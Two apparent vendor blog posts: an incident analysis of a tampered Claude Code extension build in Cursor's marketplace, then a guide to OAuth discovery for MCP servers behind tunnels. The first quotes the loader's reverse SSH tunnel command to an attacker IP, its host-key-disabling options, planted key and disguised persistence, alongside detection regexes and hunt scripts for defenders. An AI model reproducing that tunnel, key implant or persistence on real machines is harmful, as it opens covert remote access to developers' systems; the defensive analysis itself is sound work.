According to Cursor’s security notice, malicious builds of anthropic.claude-code versions 2.1.312 and 2.1.313 for Windows and macOS were available in the Cursor VS Code Extension Marketplace between about 2:27 a.m. and 1:35 p.m. PT on October 29. That is 09:27 to 20:35 UTC, roughly 11 hours. Cursor estimated that at most 5,000 users were affected. The tampered builds used the legitimate extension ID rather than a look-alike name, so an auto-update could deliver them.

Three scoping points matter, because early coverage blurred them:

This was not a compromise of Anthropic. StepSecurity relays Anthropic’s position that an attacker used access to Cursor’s marketplace to publish a tampered copy that Anthropic did not build or publish. Microsoft reports that Anthropic told it the same, and that the malicious packages were never distributed through the Visual Studio Marketplace or the @anthropic-ai/claude-code npm package. Early reports named Open VSX as an origin. StepSecurity later corrected that: Anthropic confirmed 2.1.313 was never published there, and StepSecurity verified the Open VSX copy of 2.1.312 as clean.
Having the version installed does not prove compromise. Source and timing matter. Cursor scopes exposure to macOS and Windows users who installed or updated from Cursor’s marketplace inside that window.
The attacker’s infrastructure is gone, but the artifacts are not. Cursor worked with the hosting provider to take the server offline. It also removed the builds, shut the marketplace down for an audit, found no other tampered extensions, rotated keys and brought the marketplace back. Cursor asked customers to move to version 2.1.314. Cursor and Microsoft both note that uninstalling the extension does not remove files it already wrote outside its own folder.

StepSecurity recovered the malicious extension.js and analyzed it statically. The file is the clean 2.1.312 bundle with a single 7,386-byte loader spliced in front. The loader is not obfuscated. It runs when the module loads, with no Claude conversation and no install hook required, and it works in six stages, each wrapped in a try/catch that swallows errors:

Recon. It collects the hostname, username, OS, architecture, home and working directories, the global Git email, and the names (not values) of up to 40 environment variables matching KEY|TOKEN|SECRET|PASS|AWS|GCP.
Key implant. It appends an Ed25519 public key commented svc-telemetry to ~/.ssh/authorized_keys, unless the marker is already there.
Enable SSH. It tries systemctl on Linux, sudo -n systemsetup -setremotelogin on on macOS, and installs the OpenSSH Server capability on Windows.
Reverse tunnel. It drops a private key into a hidden temp file and loops an ssh -N -R connection to tunnel@134.209.82.225.
Persistence. It writes a cron @reboot entry on Linux, a com.apple.sysmond LaunchAgent on macOS, and a SysMon scheduled task with a Startup-folder fallback on Windows.
Beacon. It POSTs the recon JSON over plain HTTP to port 8099 on the attacker’s server and on loopback.

The affected builds were for macOS and Windows, though the loader also contains a Linux code path. Microsoft maps the behavior to MITRE ATT&CK T1572 (Protocol Tunneling), T1098.004 (SSH Authorized Keys), T1053.003 (Cron) and T1053.005 (Scheduled Task).

One caveat matters for defenders: success depended on privileges. Cursor says that turning on the local SSH service needs admin rights the extension lacks on most macOS and Windows hosts, so the attacker could not log in through the tunnel on those machines. The exception is when Cursor was started with administrator privileges. StepSecurity adds that the macOS path works only where passwordless sudo is configured. Even so, Cursor and Microsoft agree that the key, the persistence artifacts and the host report could still land. A tunnel that cannot be used still leaves evidence you can find.

The incident’s own indicators are now stale, since the server is down. The behavior is not.

Anatomy of a reverse SSH tunnel

An ordinary SSH tunnel is initiated from the client toward something it wants to reach. A reverse tunnel flips the direction of reachability. The client makes an outbound connection, then asks the server to open a listening port that forwards back to a service on the client’s side.

The loader’s core command was ssh -N -R '*:0:localhost:22' to tunnel@134.209.82.225. Read it piece by piece:

-N runs no remote command. The connection exists only to carry forwards.
-R requests a remote forward, so a port on the attacker’s server connects back through the tunnel.
*:0 asks for a wildcard bind with port zero, which lets the server choose the listening port.
localhost:22 points that forward at the victim’s own SSH daemon.

The effect: a machine behind NAT, with no inbound firewall rule, can become reachable through a port on someone else’s server. Inbound firewall rules and NAT do nothing to stop it, because the connection starts from inside. Whether that port is reachable by the wider internet depends on the server’s configuration. A wildcard bind is honored only if the server’s GatewayPorts setting allows it. An attacker still needs the matching private key and a running SSH daemon on the victim to get a login. This is why a running tunnel process is a lead rather than proof of access.

The loader also tuned the connection for stealth and durability, per StepSecurity’s recovered source:

No prompts: BatchMode=yes, StrictHostKeyChecking=no and UserKnownHostsFile=/dev/null. Nothing asks the user anything and nothing is remembered.
Keepalives and fail-fast: ServerAliveInterval=30, ServerAliveCountMax=3, ExitOnForwardFailure=yes and ConnectTimeout=10.
Resilience: a shell loop that sleeps 60 seconds after each exit and reconnects, preferring autossh -M 0 when installed. The -M 0 flag turns off autossh’s monitoring port and leans on the keepalives instead. On Windows the same logic runs in a hidden PowerShell loop.
A hidden key file: the embedded private key was written to a dot-file in the temp directory named .stk_ plus ten hex characters. The characters come from a hash of the hostname and home directory, so the same machine always produces the same name. A second copy of the key lives under ~/.config (.smtk), so cleaning the temp directory does not end the tunnel.

Each of those choices is also a detection opportunity.

Egress signatures to hunt for

No single signal is conclusive, because legitimate developers run reverse tunnels too. Good detection stacks several weak signals into one confident one. MITRE’s detection strategy for Protocol Tunneling (DET0538) takes the same approach. It pairs process creation, such as ssh with -L/-R forwarding flags, with network and sshd log data, and it lists an allowlist of legitimate tunneling tools as a tunable element.

Process signals

Process creation is usually the highest-fidelity source, because the command line shows intent.

-R on an ssh or autossh command line. Elastic’s prebuilt rule targets Windows ssh.exe and Plink. It matches -R, -oRemoteForward and -o RemoteForward, and it uses a regular expression for -R bundled with other flags such as -NR or -fNR. A naive search for " -R " misses those. Elastic ships the rule at low severity, which tells you it is meant to generate leads for triage, not verdicts.
Port zero or wildcard binds. *:0: and 0.0.0.0: forwards are unusual in sanctioned workflows, which tend to name a specific port.
Suspicious parents. A reverse-forwarding ssh whose parent is a Node.js process, an editor’s extension host, a shell loop, cron, or a scheduled task deserves attention. Elastic’s investigation guidance likewise says to escalate on shells, script interpreters, unusual parents and recently created binaries. A human typing in a terminal or a managed service unit is a different story.
Retry loops. Elastic’s guidance also treats recurring or long-lived reverse-forward commands outside a confirmed window as suspicious. A process that relaunches about every 60 seconds fits that description.

Network signals

Long-lived outbound TCP 22 to a destination you do not own or recognize. A session that lasts days from a developer laptop is rarely a person at a keyboard.
Raw IP destinations with no DNS history.
Cleartext HTTP POSTs to a raw IP on an odd port. The beacon went to port 8099, in plain HTTP, from a process tree that began in an editor.
Keepalive and retry cadence. With ServerAliveInterval=30, an idle tunnel sends a probe after 30 quiet seconds, and a dropped one reconnects after a 60-second sleep. That is machine-regular in a way human sessions are not.
Session shape. FoxIO’s JA4SSH fingerprint classifies encrypted SSH sessions by packet-size and ACK patterns without decrypting anything, and the JA4+ repository lists an example fingerprint for a reverse SSH shell. Treat it as a heuristic to enrich alerts, not a verdict. JA4SSH is covered by the FoxIO License 1.1 rather than the permissive license JA4 itself uses, so check the terms before building it into a commercial product.
Port is not identity. SSH can run on any port, including 443. Protocol-aware detection (SSH banner and handshake on non-standard ports) beats port-based rules.
Not an indicator by themselves: lookups to ifconfig.me and api.ipify.org, which the loader used to find its public IP. Many legitimate tools do the same.

Host signals

New entries in authorized_keys with comments you did not provision. On Windows, check both the user’s file and C:\ProgramData\ssh\administrators_authorized_keys.
Remote login or sshd newly enabled on a workstation that never ran it.
Persistence with borrowed names. The sample used a com.apple.sysmond LaunchAgent, a SysMon scheduled task, and @reboot cron lines. A com.apple.* label in a user’s LaunchAgents folder deserves a second look. Microsoft’s guidance is to inspect each startup object’s configured action before removing it, because a name alone does not separate malicious objects from legitimate monitoring software.
Dot-files in ~/.config and temp directories holding scripts or keys (.smt, .smtk, .stk_*).

Sanctioned vs rogue: named, authenticated, logged

Policy documents say “approved tunnels only.” Detection needs something testable. A workable rule of thumb: a sanctioned tunnel is named, authenticated, and logged.

Named: someone owns it, it has a purpose, and its configuration lives in a place you can inspect, such as an ~/.ssh/config host alias or a managed service unit.
Authenticated: it uses a key issued for that purpose, and the server’s host key is verified against a known entry.
Logged: process creation, network connection, and server-side authentication events are all retained, so you can reconstruct who opened what.

Here is how that plays out in practice:

Property	Sanctioned tunnel	Rogue tunnel (as seen in this incident)
Destination	Hostname on an approved list (bastion, relay you operate)	Raw IP, no prior history
Host-key checking	Enforced, known-hosts entry present	Disabled, known-hosts sent to `/dev/null`
Key	Named key tied to a person or service	Embedded key written to a hidden temp file
Forward spec	Specific loopback port for a specific service	Wildcard bind, port 0, target is local `sshd`
Launched by	Terminal session, systemd unit, launchd job with a known label	Extension code, shell loop, cron, fake system-named job
Persistence	Managed by config management or documented	`@reboot` cron, look-alike LaunchAgent, scheduled task
Server side	You operate it and read its logs	Unknown third party
Owner on request	Can name a ticket or teammate	Nobody

As a rule of thumb (not a formal standard), if a tunnel fails more than two of those rows, treat it as hostile until someone with authority says otherwise.

Allowlisting without blinding yourself

Blocking all SSH is not realistic; developers push to Git remotes over it every day. The failure mode to avoid is the opposite one: an allowlist so broad that it hides the next tunnel. Three principles help.

1. Allowlist the full tuple, not the tool. Elastic’s false-positive guidance for its reverse-forwarding rule says benign activity should be tied to a verified combination of command line, host, user, parent process, executable, remote server and forward port. It tells you not to close an alert just because the binary is named ssh.exe or has a familiar path and signature. It also says to scope exceptions to the host, user, executable or hash, parent, and exact arguments, and not to suppress reverse forwarding across all hosts or accounts. An exception that reads “user X on host Y runs this binary from this parent to that relay on that port” is a control. An exception that reads “ignore autossh” is a hole.

2. Allowlist by destination, at the egress layer. Default-deny outbound SSH from developer subnets and VPN pools, then permit your bastions, your relay, and the Git hosts you actually use. Because port 22 is not the only way out, pair this with destination-based rules for 443. GitHub, for example, documents SSH over the HTTPS port at ssh.github.com:443, a different hostname from github.com. Allow the specific host, not the port.

3. Give exceptions an expiry. Time-box every tunnel exception and review it. A temporary exception for a demo that becomes permanent is how a monitoring gap is born.

A managed client configuration for a sanctioned tunnel might look like this:

Host dev-relay
    HostName relay.example.com
    User tunnel-svc
    IdentityFile ~/.ssh/id_ed25519_relay
    IdentitiesOnly yes
    StrictHostKeyChecking yes
    ServerAliveInterval 30
    ServerAliveCountMax 3
    ExitOnForwardFailure yes
    RemoteForward 127.0.0.1:9222 localhost:9222

Note what it does differently from the malicious one-liner. Host-key checking is on, the key is named, the forward targets one loopback port, and the whole thing lives in a file that audit tooling can read.

Hardening the server and the endpoint

If you run the relay, you control what a tunnel can do. These OpenSSH server directives matter (see the sshd_config and sshd manual pages):

AllowTcpForwarding accepts yes, no, local or remote. Set it per user in Match blocks instead of globally.
PermitListen restricts which addresses and ports a remote forward may bind.
GatewayPorts defaults to no, meaning remote forwards bind only to loopback. That is exactly what makes a wildcard bind request like the loader’s ineffective on a properly configured server. Leave it at no for everyone except accounts with a documented need.
authorized_keys options such as restrict, port-forwarding and permitlisten let you pin a given key to a narrow job.

An illustrative relay configuration:

# /etc/ssh/sshd_config on a relay you operate
GatewayPorts no
LogLevel VERBOSE            # records key fingerprints on authentication

Match User tunnel-svc
    AllowTcpForwarding remote
    PermitListen 127.0.0.1:9222
    PermitTTY no
    X11Forwarding no
    ForceCommand /bin/false

# ~/.ssh/authorized_keys for tunnel-svc on the relay
restrict,port-forwarding,permitlisten="127.0.0.1:9222" ssh-ed25519 AAAA... relay-key-for-dev-team

Run sshd -T to see the effective configuration, and add -C to test Match conditions for a given user and address.

On the endpoint, the cheap wins target the supply chain, since that is how this tunnel arrived:

Use a version cooldown. Microsoft points organizations using Cursor to Cursor’s security-hardening guidance, which includes restricting extensions to approved publishers and configuring an installation cooldown that delays newly published versions. Because the tampered builds carried the legitimate extension ID, a publisher allowlist alone would not have stopped them. A cooldown or version pinning would have kept the 11-hour window from reaching you.
Check provenance. Record which marketplace served each extension. The same identifier can be served by more than one registry, and in this incident the source was what separated affected machines from unaffected ones.
Remove passwordless sudo from developer accounts where you can. On macOS, that was the condition under which the loader’s SSH-enabling step could succeed.
Alert on behavior. An extension process that edits ~/.ssh/authorized_keys or writes a LaunchAgent is worth an alert on its own.

A quick hunt checklist

Run these on a sample of machines, or push them through your management tooling. Treat results as leads, not proof.

macOS and Linux

# Reverse-forwarding ssh/autossh processes (catches bundled flags like -NR)
ps -eo pid,ppid,user,command | grep -E '[a]utossh|[s]sh[[:space:]]+(.*[[:space:]])?-[A-Za-z]*R'

# Established SSH connections with owning process (also lists inbound sessions)
ss -tnp state established '( dport = :22 )'    # Linux (root shows all processes)
lsof -iTCP:22 -sTCP:ESTABLISHED -nP            # macOS

# Hidden temp keys and suspicious dot-files from this loader
ls -la "${TMPDIR:-/tmp}"/.stk_* ~/.config/.smt ~/.config/.smtk 2>/dev/null

# Keys and persistence
grep -n 'svc-telemetry' ~/.ssh/authorized_keys
crontab -l | grep -i '@reboot'                          # the cron path is the Linux branch
ls ~/Library/LaunchAgents | grep -i 'com.apple.sysmond'  # macOS

The -R pattern also matches any short option cluster containing a capital R (for example -oRequestTTY), so expect some noise.

Windows (PowerShell)

# ssh/plink processes with remote-forward arguments
Get-CimInstance Win32_Process |
  Where-Object { $_.CommandLine -match '(ssh|plink)(\.exe)?\s.*-[A-Za-z]*R' } |
  Select-Object ProcessId, ParentProcessId, CommandLine

# Look-alike scheduled task, fallback script, and temp key
Get-ScheduledTask -TaskName SysMon -ErrorAction SilentlyContinue
Test-Path "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd"
Get-ChildItem "$env:TEMP" -Force -Filter '.stk_*' -ErrorAction SilentlyContinue

# Planted key (check both locations)
$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files) { Select-String -Path $files -Pattern 'svc-telemetry' }

Fleet sweep for this specific incident. Look for installed anthropic.claude-code-2.1.312-* and anthropic.claude-code-2.1.313-* extension folders, and search each extension.js for 134.209.82.225 or svc-telemetry:

grep -rlE '134\.209\.82\.225|svc-telemetry' --include=extension.js \
  ~/.cursor/extensions/anthropic.claude-code-2.1.31[23]-* 2>/dev/null

Finding the extension folder is not proof of compromise. Confirm the download source and window, then look for the key. If the svc-telemetry key is present, Cursor says the machine is impacted. Preserve evidence first, then use Cursor’s security notice as the authority for the remediation scripts. Remove the key, persistence and tunnel processes, decide whether to rebuild the host, and rotate credentials and sessions from a trusted system. The loader collected only the names of environment variables, not their values. Cursor still warns that this does not rule out later credential access over the backdoor.

Conclusion

The lesson from the tampered Claude Code builds is not that one marketplace failed. It is that the tunnel itself can be the payload: about 7 KB of code, a stock ssh binary, and an outbound connection that most networks permit. The command line, the parent process, the destination and the persistence all give it away if you are collecting them.

Build your detection around the three words that separate a tool from a threat. If a tunnel is named, authenticated and logged, allowlist it narrowly and let it run. If it is none of those, find out who owns it.

Sources

Originally published at https://instatunnel.my/blog/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer-machines

MCP Auth Gets Real: What the 2026-07-28 Spec Means for Local MCP Servers Behind a Tunnel

InstaTunnel — Sun, 01 Nov 2026 02:31:13 +0000

Authentication is the part of MCP that tends to get postponed. A May 2026 measurement study put it plainly: many remote servers treat it as a deployment add-on rather than a security boundary. The 2026-07-28 revision of the Model Context Protocol specification tightens the rules for any server that does use authorization. It keeps OAuth 2.1 resource-server behavior, pins down how a client discovers your authorization server, formally deprecates Dynamic Client Registration (DCR), and makes Client ID Metadata Documents (CIMD) the recommended way for an app to identify itself.

That matters even when your MCP server runs on a laptop. Hosted clients such as claude.ai and ChatGPT connect from the vendor’s cloud, so a local server needs a tunnel before they can reach it. Once you add one, you have a remote MCP server in the eyes of the spec. Your public tunnel URL becomes your token audience, the identifier every access token is bound to. The /.well-known/oauth-protected-resource document has to resolve correctly through the tunnel, or no compliant client will get past the first request.

This guide stays on OAuth discovery and client registration. It covers what changed, what a tunnel must preserve, and how to verify the chain with curl.

What changed in the 2026-07-28 revision

The maintainers locked the release candidate on May 21, 2026, and called it the largest revision of the protocol since launch. The final specification shipped on July 28, 2026. Most of the headline work is outside authorization: a stateless protocol core with no initialize handshake or Mcp-Session-Id, required Mcp-Method and Mcp-Name headers, and a formal extensions framework.

Several things often credited to this revision are older. MCP servers have been OAuth resource servers since mid-2025. The 2025-11-25 revision added CIMD as a recommended registration mechanism, made the WWW-Authenticate header optional with a well-known fallback, and added OpenID Connect discovery. Scalekit’s summary is that the server-side rules have held steady and what moved was client registration and discovery.

What 2026-07-28 itself adds on the authorization side:

DCR (RFC 7591) is deprecated. It stays available for authorization servers that lack CIMD support.
Issuer validation (RFC 9207). Authorization servers should return an iss parameter in authorization responses. Clients must compare a present iss to the issuer they recorded before redeeming the code. If the server advertises authorization_response_iss_parameter_supported: true and the response has no iss, the client must reject it.
Credentials are bound to their issuer. Clients must key persisted credentials by the authorization server’s issuer. They must not reuse them with another server and must re-register if it changes.
application_type is required for DCR. Clients that still register dynamically must send an appropriate value.
Step-up scope rules. Servers should list every scope an operation needs in a single challenge. Clients should request the union of previously granted and newly challenged scopes.
A refresh-token section. Clients must keep refresh tokens confidential and must not assume one will be issued.
A formal feature lifecycle policy. It sets a minimum twelve-month window for deprecated features.

Carried forward and still binding: servers must implement Protected Resource Metadata (RFC 9728) and clients must use it for discovery. Clients must send the RFC 8707 resource parameter on both the authorization and token requests, whether or not the authorization server advertises support. Servers must accept only tokens issued for themselves, and must not pass the client’s token through to an upstream API.

One caveat belongs up front: authorization itself is still optional in the spec. HTTP-based transports should conform to it. STDIO servers should not use it and should take credentials from the environment instead. A stdio server on your machine needs no OAuth flow. A tunneled server that you want hosted clients to connect to almost certainly does.

Discovery: how a client finds your authorization server

A compliant client starts with nothing but your server URL. Everything else comes from a fixed discovery sequence, and every step that touches your server travels through your tunnel.

Step 1: The 401 challenge

The client sends an unauthenticated request. Your server answers 401 Unauthorized with a WWW-Authenticate header that points to its metadata:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer resource_metadata="https://mcp-dev.example.com/.well-known/oauth-protected-resource/mcp",
                         scope="files:read"

The scope parameter is a SHOULD, but worth including because it tells the client exactly what to request. If you omit it, clients fall back to scopes_supported from your metadata. Clients must use the resource_metadata URL when the header is present. When it is absent, they must try well-known locations in order: the path-suffixed form (/.well-known/oauth-protected-resource/mcp) first, then the root (/.well-known/oauth-protected-resource).

Claude is stricter than the spec here. It needs a real 401 to start sign-in and ignores a WWW-Authenticate header on a 200 response. Claude’s documentation also notes that the resource_metadata URL doesn’t have to sit on your MCP server’s origin. That helps when a tunnel or edge platform only routes a path prefix and can’t serve /.well-known/* at the root.

Step 2: Protected resource metadata

The document the client fetches (RFC 9728) must list at least one authorization server:

{
  "resource": "https://mcp-dev.example.com/mcp",
  "authorization_servers": ["https://auth.example.com"],
  "scopes_supported": ["files:read"],
  "bearer_methods_supported": ["header"]
}

Note the resource field. It must identify your server by the same public URL the client used to reach it. Claude’s documentation says it must equal the URL exactly as the user enters it, including any path. This is the first place a tunnel can quietly break things. Your framework may build the value from the request host it sees locally (localhost:3000) rather than the public hostname.

Step 3: Authorization server metadata

Next, the client fetches the authorization server’s own metadata. For an issuer with a path component such as https://auth.example.com/tenant1, it tries three URLs in order. They are the RFC 8414 form (/.well-known/oauth-authorization-server/tenant1), then two OpenID Connect discovery variants. For an issuer with no path, it tries the RFC 8414 URL and then the OpenID Connect one. The issuer in the returned document must be identical to the issuer used to build the URL, or the client must not use the metadata.

Two details matter. The client records that issuer so it can validate iss later. If code_challenge_methods_supported is missing, the client must refuse to proceed, because it cannot confirm PKCE support. The client then uses the S256 challenge method when it can. The authorization server is usually a separate service, so your tunnel normally only needs to front the resource server. If you do tunnel the authorization server too, the same discovery rules apply to it.

Your tunnel URL is now your token audience

Here is the core shift for local development. Under 2026-07-28, an MCP server must validate that an access token was issued specifically for it, and must reject tokens that don’t name it as the audience. The client binds a token to a server by sending the resource parameter, which must be the server’s canonical URI.

The spec’s canonical URI rules are strict. https://mcp.example.com, https://mcp.example.com/mcp, and https://mcp.example.com:8443 are valid. A bare hostname with no scheme is invalid, and so is any URI with a fragment. The spec prefers the form without a trailing slash.

Now consider a throwaway tunnel URL. A client completes OAuth and the token’s audience is that URL. You restart the tunnel and the hostname changes. Every issued token is now bound to an address that no longer maps to your server, and you re-authorize on every restart.

Whether your hostname survives a restart depends on the tunnel:

Cloudflare: quick tunnels get a random trycloudflare.com hostname per cloudflared process, and the URL changes on restart. Named tunnels bind a hostname you choose on a zone you control, and Cloudflare recommends them for anything like OAuth callbacks.
ngrok: the free plan includes one automatically assigned dev domain. Check your plan’s terms on whether it persists. Custom domains are a paid feature.
InstaTunnel: the CLI accepts a --subdomain flag and has an --mcp mode for MCP servers.

Treat a reserved hostname like a production domain: pick it once, put it in your authorization server’s resource configuration, and keep it. There is one more reason to prefer a domain you control. Claude’s documentation notes that Microsoft Entra ID accepts an MCP server URL as an Application ID URI only on a domain your tenant has verified. A shared tunnel hostname you cannot verify is likely to hit the same wall.

Registration: CIMD replaces DCR

Once the client knows where to authenticate, it needs a client_id. The spec’s order of preference for clients that support every option is:

Pre-registered client credentials, if the client already has them for this authorization server
Client ID Metadata Documents, if the server advertises client_id_metadata_document_supported
Dynamic Client Registration, if the server exposes a registration_endpoint
Prompting the user to enter client details manually

How CIMD works

With CIMD, the client_id is an HTTPS URL. The authorization server fetches the JSON document at that URL, validates it, and caches it according to HTTP cache headers. The requirements are tight:

The URL must use https and contain a path component.
The document must include client_id, client_name, and redirect_uris.
The client_id inside the document must match the URL exactly.
The authorization server must validate the redirect URI in each request against the document and clearly display the redirect URI’s hostname during consent.

{
  "client_id": "https://agent.example.com/oauth/client.json",
  "client_name": "Example MCP Client",
  "redirect_uris": ["https://agent.example.com/callback"],
  "grant_types": ["authorization_code"],
  "response_types": ["code"],
  "token_endpoint_auth_method": "none"
}

VS Code, for example, hosts its client metadata document at vscode.dev/oauth/client-metadata.json, so no registration endpoint is involved. CIMD client IDs are also portable. Nothing needs re-registering when the authorization server changes.

What happened to DCR

DCR is deprecated, not removed. It remains for backward compatibility with authorization servers that lack CIMD support. Under the lifecycle policy adopted in the same release, a deprecated feature stays for at least twelve months. Removal is eligible no earlier than the first revision on or after 2027-07-28. If you still use DCR, clients must now send an appropriate application_type. The spec says native for desktop, CLI, and localhost apps and web for remote browser-based ones. Omitting it defaults to web under OpenID Connect, which collides with a native redirect URI.

DCR also has an operational cost. Anthropic’s documentation says Claude registers a new client on every fresh DCR connection, which can leave very large numbers of client records on your authorization server. For high-traffic servers it recommends CIMD or Anthropic-held credentials.

One maturity note. The spec cites draft-ietf-oauth-client-id-metadata-document-00, while the IETF draft had reached -02 by July 6, 2026. The spec also cites OAuth 2.1 draft -13, and OAuth 2.1 is still an Internet-Draft, with -16 published in September 2026. Pin your reading to the dated spec revision.

Where tunnels break discovery

Most failures here are not OAuth bugs. They are transport and routing bugs that look like OAuth bugs.

Symptom	Likely cause	Fix
Client says “no authorization server found”, or Claude reports it “couldn’t reach the MCP server” while your authorization server sees no traffic	`/.well-known/*` isn’t routed through the tunnel, returns HTML or a 404, and the 401 has no `resource_metadata` pointer	Route the whole well-known prefix, or serve metadata at a path you do route and point `resource_metadata` at it
Sign-in never starts in Claude	Your server returns `200` with a `WWW-Authenticate` header	Return a real `401`
`resource_metadata` URL contains `localhost` or `http://`	App builds URLs from the local request and ignores forwarded headers	Configure a fixed public base URL, or trust `X-Forwarded-Host` and `X-Forwarded-Proto` from the tunnel (for example Express’s `trust proxy` setting or Uvicorn’s `--proxy-headers`)
Metadata fetch returns 401 or a login page	A tunnel-level password or access gate sits in front of discovery	Exempt `/.well-known/` and unauthenticated probes of `/mcp`, because the client has no token yet
Metadata fetch returns an HTML warning page	Free-tier ngrok injects an interstitial in front of HTML browser traffic	Programmatic API clients aren’t affected, but browser-based tests are. Send an `ngrok-skip-browser-warning` header, use a non-standard `User-Agent`, or upgrade
Requests rejected only through the tunnel	Dev-server host allowlists or DNS-rebinding protection don’t recognize the tunnel hostname	Add the tunnel hostname to the allowlist
`resource` mismatch error	Metadata says `/mcp` but the client called a different path	Match the canonical URI to the exact URL users paste into the client
Token rejected after restart	Tunnel URL changed, so the audience no longer matches	Use a reserved hostname
Intermittent connection failures	Claude gives discovery, registration, and token endpoints 10 seconds (30 for refresh); a slow tunnel path or cold start can exceed it	Keep endpoints fast and avoid buffering behind upstream work
Discovery works from your laptop but fails from the client	A WAF or conditional-access rule blocks the vendor’s egress traffic	Allowlist the vendor’s published range (Anthropic lists `160.79.104.0/21`) on your MCP server and your identity provider
Authorization server cannot fetch your CIMD	Document is on a private address or behind a redirect	Host it on a public HTTPS URL that responds directly with a 200

Gating a tunnel behind a login is a fine development habit, but discovery is designed to be reachable without credentials. Enforce authentication on the MCP endpoint through token validation, not on the discovery documents. Also make sure the tunnel forwards the Authorization, Mcp-Method, Mcp-Name, and MCP-Protocol-Version headers unchanged.

If you are developing a client, note that Scalekit’s reading of the current IETF draft is that authorization servers should not follow redirects or fetch private addresses, because fetching a client-chosen URL is a server-side request forgery risk. Serve your metadata document directly from a public HTTPS URL. Some hosted servers go further. Medusa’s cloud MCP server only fetches metadata documents from hosts it has approved and does not follow redirects. The spec also states that CIMD alone cannot prevent localhost redirect-URI impersonation. Authorization servers should show extra warnings for localhost-only redirect URIs.

Verify the chain with curl before you test a client

Run these against your public tunnel hostname, not localhost. They mirror what a compliant client does.

# 1. Unauthenticated MCP request: expect 401 + WWW-Authenticate
curl -i -X POST https://mcp-dev.example.com/mcp \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -H "MCP-Protocol-Version: 2026-07-28" \
  -H "Mcp-Method: tools/list" \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{"_meta":{"io.modelcontextprotocol/protocolVersion":"2026-07-28","io.modelcontextprotocol/clientCapabilities":{}}}}'

# 2. Fetch the metadata URL from that header: expect JSON
curl -s https://mcp-dev.example.com/.well-known/oauth-protected-resource/mcp | jq

# 3. Confirm the authorization server is reachable and advertises PKCE, CIMD and iss support
curl -s https://auth.example.com/.well-known/oauth-authorization-server | jq \
  '{issuer, code_challenge_methods_supported, client_id_metadata_document_supported,
    token_endpoint_auth_methods_supported, authorization_response_iss_parameter_supported}'

# 4. (Client developers) Check your CIMD answers 200 directly, with no redirect
curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" https://agent.example.com/oauth/client.json

What you are checking:

Step 1 returns 401 with a resource_metadata URL on your public https:// hostname. The 2026-07-28 spec replaced the old HTTP GET endpoint, so a bare GET to /mcp may not return what you expect. The 401 should come back before the server looks at the body.
Step 2 returns JSON whose resource exactly equals the URL clients use.
Step 3 shows S256 in code_challenge_methods_supported. For Claude’s CIMD path, it must also show client_id_metadata_document_supported: true and "none" in token_endpoint_auth_methods_supported.
Step 4 prints 200 and an empty redirect URL.

What real clients do with all this

Client behavior is uneven. This table reflects each vendor’s own documentation as of November 2026. The VS Code row relies on secondary write-ups of its CIMD support.

Client	Registration	Notes
Claude (claude.ai, Desktop, mobile)	CIMD, DCR, Anthropic-held credentials, or a client the customer enters	Uses CIMD only when your metadata advertises both `client_id_metadata_document_supported: true` and `"none"` in `token_endpoint_auth_methods_supported`, otherwise DCR. Uses only the first entry in `authorization_servers`. Redirect URI is `https://claude.ai/api/mcp/auth_callback`.
Claude Code	CIMD or DCR, or pre-configured credentials	Uses a loopback redirect on an ephemeral port, so match `localhost` and `127.0.0.1` without the port.
ChatGPT	CIMD preferred; DCR and predefined OAuth clients supported	Requires `S256` in `code_challenge_methods_supported`. Sends `resource` on both the authorization and token requests. Supports RFC 9207 issuer identification.
VS Code	CIMD (client document at `vscode.dev/oauth/client-metadata.json`) or a configured `oauth.clientId`	Redirects to a loopback address.
Cursor	DCR, or a static client ID and secret in `mcp.json`	Uses the fixed redirect URL `cursor://anysphere.cursor-mcp/oauth/callback`.

Vercel’s guidance is blunt: client adoption of the 2026-07-28 spec lags its release. Keep DCR enabled for now, default to CIMD, and list your primary authorization server first. That last point matters because Claude ignores later entries. Clients that run on your own machine, such as Claude Code, can usually reach localhost without a tunnel. The tunnel is for hosted clients that connect from the vendor’s cloud.

Why this is not optional: the 40% problem

Why did the ecosystem need tighter rules? A May 2026 preprint by Zhou and colleagues at Fudan University and Central South University measured authentication across real-world remote MCP servers:

It identified 7,973 live remote MCP servers.
3,233 of them (40.55%) exposed tools with no authentication.
2,428 (30.45%) used OAuth, and 2,312 (about 29%) relied on static tokens or API keys.
The authors then tested 119 OAuth-enabled servers in depth. Every one had at least one flaw, 325 in total.
DCR-related flaws appeared in 96.6% of them, and consent-page bypass was confirmed on 72.

Three caveats apply. It is a preprint, not a peer-reviewed paper. It measured servers implementing revisions up to 2025-11-25, so its numbers predate this spec. And most of the unauthenticated servers the researchers sampled were test or demo deployments, though one was an internal CRM left open by mistake.

A server with no authentication is technically conformant, since authorization remains optional. But a tunnel makes the exposure concrete: you have published a tool-calling endpoint to the open internet.

Frequently asked questions

Is OAuth required for every MCP server?

No. Authorization is optional in the spec. HTTP-based transports should conform to it, while STDIO servers should not and should read credentials from the environment instead.

Is Dynamic Client Registration removed in MCP 2026-07-28?

No. It is deprecated, retained as a fallback for authorization servers without CIMD support, and not eligible for removal before the first revision on or after 2027-07-28.

What is the resource parameter, and can I skip it?

It is the RFC 8707 resource indicator naming the MCP server a token is for. Clients must send it on both the authorization and token requests, regardless of authorization server support. Your server must then reject tokens whose audience doesn’t identify it.

Do I need CIMD support to work with Claude?

Not strictly. Claude falls back to DCR when your metadata doesn’t advertise both CIMD values. For high-traffic servers, Anthropic recommends CIMD or Anthropic-held credentials, because DCR creates a new client record on every fresh connection.

The bottom line

The 2026-07-28 spec moves MCP authentication from “bring your own token” toward a defined, checkable protocol. For local servers behind a tunnel, that comes down to three habits:

A stable public URL that serves as your audience.
Discovery documents that resolve cleanly through the tunnel, with no login or interstitial in front of them.
A CIMD-first registration story, with DCR kept only as a fallback.

Get those right and clients like Claude, ChatGPT, and VS Code can connect without manual setup. Get them wrong and the failure shows up as a cryptic error before your server’s own code ever runs.

Sources

Originally published at https://instatunnel.my/blog/mcp-auth-gets-real-what-the-2026-07-28-spec-means-for-local-mcp-servers-behind-a-tunnel

After the Quick Tunnels Moment: What Account-Less Tunnels Get Right, and Where They Stop

